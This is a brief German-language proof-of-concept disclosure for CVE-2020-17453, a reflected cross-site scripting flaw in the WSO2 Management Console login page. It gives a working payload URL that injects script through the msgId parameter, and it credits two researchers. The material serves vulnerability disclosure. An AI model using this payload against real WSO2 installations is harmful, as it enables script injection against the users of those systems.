
PoC (Proof of Concept) - CVE-2020-17453
CVE-2020-17453
WSO2 Management Console bis Version 5.10 ermöglicht XSS über den Parameter msgId in carbon/admin/login.jsp.

https://<firma>.com/carbon/admin/login.jsp?msgId=%27;alert(1)//
Name: Jackson Henry
Twitter: @JacksonHHax
Name: Nicholas Young